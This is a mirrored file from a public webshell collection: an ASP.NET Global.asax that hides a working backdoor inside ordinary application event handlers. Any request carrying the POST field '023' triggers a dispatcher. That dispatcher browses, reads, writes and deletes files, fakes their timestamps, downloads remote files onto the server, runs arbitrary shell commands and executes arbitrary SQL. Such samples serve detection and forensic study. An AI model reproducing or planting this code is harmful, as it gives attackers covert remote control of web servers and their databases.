mirror of
https://github.com/tennc/webshell
synced 2024-11-29 06:30:20 +00:00
325 lines
14 KiB
Text
325 lines
14 KiB
Text
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<%@ Application Language="C#" %>
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<script RunAt='server'>
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void Application_Start(object sender, EventArgs e)
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{
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//在应用程序启动时运行的代码
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}
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void Application_End(object sender, EventArgs e)
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{
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//在应用程序关闭时运行的代码
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}
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void Application_Error(object sender, EventArgs e)
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{
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}
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void Session_Start(object sender, EventArgs e)
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{
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//在新会话启动时运行的代码
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}
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void Session_End(object sender, EventArgs e)
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{
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//在会话结束时运行的代码。
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// 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
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// InProc 时，才会引发 Session_End 事件。如果会话模式
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//设置为 StateServer 或 SQLServer，则不会引发该事件。
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}
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void CP(string S, string D)
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{
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if (System.IO.Directory.Exists(S))
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{
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System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(S);
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System.IO.Directory.CreateDirectory(D);
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foreach (System.IO.FileInfo F in m.GetFiles())
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{
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System.IO.File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
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}
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foreach (System.IO.DirectoryInfo F in m.GetDirectories())
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{
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CP(S + "\\" + F.Name, D + "\\" + F.Name);
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}
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}
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else
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{
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System.IO.File.Copy(S, D);
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}
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}
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void EvalRequest(string action)
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{
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HttpContext context = HttpContext.Current;
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HttpRequest request = context.Request;
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HttpResponse response = context.Response;
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string Z = action;
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if (Z != "")
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{
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string Z1 = request.Form["Z1"];
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string Z2 = request.Form["Z2"];
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string R = "";
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try
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{
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switch (Z)
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{
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case "A":
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{
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string[] c = System.IO.Directory.GetLogicalDrives();
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R = string.Format("{0}\t", context.Server.MapPath("~"));
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for (int i = 0; i < c.Length; i++)
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R += c[i][0] + ":";
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break;
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}
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case "B":
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{
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System.IO.DirectoryInfo m = new System.IO.DirectoryInfo(Z1);
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foreach (System.IO.DirectoryInfo D in m.GetDirectories())
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{
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R += string.Format("{0}/\t{1}\t0\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
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}
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foreach (System.IO.FileInfo D in m.GetFiles())
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{
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R += string.Format("{0}\t{1}\t{2}\t-\n", D.Name, System.IO.File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
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}
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break;
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}
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case "C":
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{
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System.IO.StreamReader m = new System.IO.StreamReader(Z1, Encoding.Default);
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R = m.ReadToEnd();
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m.Close();
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break;
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}
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case "D":
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{
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System.IO.StreamWriter m = new System.IO.StreamWriter(Z1, false, Encoding.Default);
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m.Write(Z2);
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R = "1";
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m.Close();
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break;
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}
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case "E":
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{
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if (System.IO.Directory.Exists(Z1))
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System.IO.Directory.Delete(Z1, true);
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else
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System.IO.File.Delete(Z1);
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R = "1";
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break;
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}
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case "F":
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{
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response.Clear();
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response.Write("\x2D\x3E\x7C");
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response.WriteFile(Z1);
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response.Write("\x7C\x3C\x2D");
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goto End;
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}
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case "G":
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{
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byte[] B = new byte[Z2.Length / 2];
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for (int i = 0; i < Z2.Length; i += 2)
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{
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B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
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}
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System.IO.FileStream fs = new System.IO.FileStream(Z1, System.IO.FileMode.Create);
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fs.Write(B, 0, B.Length);
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fs.Close();
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R = "1";
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break;
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}
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case "H":
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{
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CP(Z1, Z2);
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R = "1";
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break;
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}
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case "I":
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{
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if (System.IO.Directory.Exists(Z1))
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{
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System.IO.Directory.Move(Z1, Z2);
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}
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else
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{
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System.IO.File.Move(Z1, Z2);
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}
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break;
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}
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case "J":
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{
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System.IO.Directory.CreateDirectory(Z1);
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R = "1";
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break;
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}
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case "K":
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{
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DateTime TM = Convert.ToDateTime(Z2);
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if (System.IO.Directory.Exists(Z1))
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{
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System.IO.Directory.SetCreationTime(Z1, TM);
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System.IO.Directory.SetLastWriteTime(Z1, TM);
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System.IO.Directory.SetLastAccessTime(Z1, TM);
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}
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else
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{
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System.IO.File.SetCreationTime(Z1, TM);
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System.IO.File.SetLastWriteTime(Z1, TM);
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System.IO.File.SetLastAccessTime(Z1, TM);
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}
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R = "1";
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break;
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}
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case "L":
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{
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System.Net.HttpWebRequest RQ = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(new Uri(Z1));
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RQ.Method = "GET";
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RQ.ContentType = "application/x-www-form-urlencoded";
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System.Net.HttpWebResponse WB = (System.Net.HttpWebResponse)RQ.GetResponse();
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System.IO.Stream WF = WB.GetResponseStream();
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System.IO.FileStream FS = new System.IO.FileStream(Z2, System.IO.FileMode.Create, System.IO.FileAccess.Write);
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int i;
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byte[] buffer = new byte[1024];
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while (true)
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{
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i = WF.Read(buffer, 0, buffer.Length);
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if (i < 1) break; FS.Write(buffer, 0, i);
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}
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WF.Close();
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WB.Close();
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FS.Close();
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R = "1";
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break;
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}
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case "M":
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{
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System.Diagnostics.ProcessStartInfo c = new System.Diagnostics.ProcessStartInfo(Z1.Substring(2));
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System.Diagnostics.Process e = new System.Diagnostics.Process();
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System.IO.StreamReader OT, ER;
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c.UseShellExecute = false;
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c.RedirectStandardOutput = true;
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c.RedirectStandardError = true;
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e.StartInfo = c;
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c.Arguments = string.Format("{0} {1}", Z1.Substring(0, 2), Z2);
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e.Start(); OT = e.StandardOutput;
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ER = e.StandardError;
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e.Close();
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R = OT.ReadToEnd() + ER.ReadToEnd();
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break;
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}
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case "N":
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{
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String strDat = Z1.ToUpper();
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System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(Z1);
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Conn.Open();
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R = Conn.Database + "\t";
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Conn.Close(); break;
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}
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case "O":
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{
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String[] x = Z1.Replace("\r", "").Split('\n');
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String strConn = x[0], strDb = x[1];
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System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
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Conn.Open();
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System.Data.DataTable dt = Conn.GetSchema("Columns");
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Conn.Close();
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for (int i = 0; i < dt.Rows.Count; i++)
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{
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R += String.Format("{0}\t", dt.Rows[i][2].ToString());
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}
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break;
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}
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case "P":
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{
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String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
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String strConn = x[0], strDb = x[1], strTable = x[2]; p[0] = strDb;
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p[2] = strTable;
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System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
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Conn.Open();
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System.Data.DataTable dt = Conn.GetSchema("Columns", p);
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Conn.Close();
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for (int i = 0; i < dt.Rows.Count; i++)
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{
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R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
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}
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break;
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}
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case "Q":
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{
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String[] x = Z1.Replace("\r", "").Split('\n');
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String strDat, strConn = x[0], strDb = x[1];
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int i, c;
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strDat = Z2.ToUpper();
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System.Data.SqlClient.SqlConnection Conn = new System.Data.SqlClient.SqlConnection(strConn);
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Conn.Open();
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if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
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{
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System.Data.SqlClient.SqlDataAdapter OD = new System.Data.SqlClient.SqlDataAdapter(Z2, Conn);
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System.Data.DataSet ds = new System.Data.DataSet();
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OD.Fill(ds);
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if (ds.Tables.Count > 0)
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{
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System.Data.DataRowCollection rows = ds.Tables[0].Rows;
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for (c = 0; c < ds.Tables[0].Columns.Count; c++)
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{
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R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
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}
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R += "\r\n";
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for (i = 0; i < rows.Count; i++)
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{
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for (c = 0; c < ds.Tables[0].Columns.Count; c++)
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{
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R += String.Format("{0}\t|\t", rows[i][c].ToString());
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}
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R += "\r\n";
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}
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}
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ds.Clear();
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ds.Dispose();
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}
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else
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{
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System.Data.SqlClient.SqlCommand cm = Conn.CreateCommand();
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cm.CommandText = Z2;
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cm.ExecuteNonQuery();
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R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
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}
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Conn.Close();
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break;
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}
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default:
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goto End;
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}
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}
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catch (Exception E)
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{
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R = "ERROR:// " + E.Message;
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}
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response.Write("\x2D\x3E\x7C" + R + "\x7C\x3C\x2D");
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End: ;
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}
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}
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|||
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//在接收到一个应用程序请求时触发。对于一个请求来说，它是第一个被触发的事件，请求一般是用户输入的一个页面请求（URL）。
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|||
|
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void Application_BeginRequest(object sender, EventArgs evt)
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|||
|
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{
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|||
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string action = Request.Form["023"];
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|||
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if (action != null)
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{
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EvalRequest(action);
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Response.End();
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}
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}
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</script>
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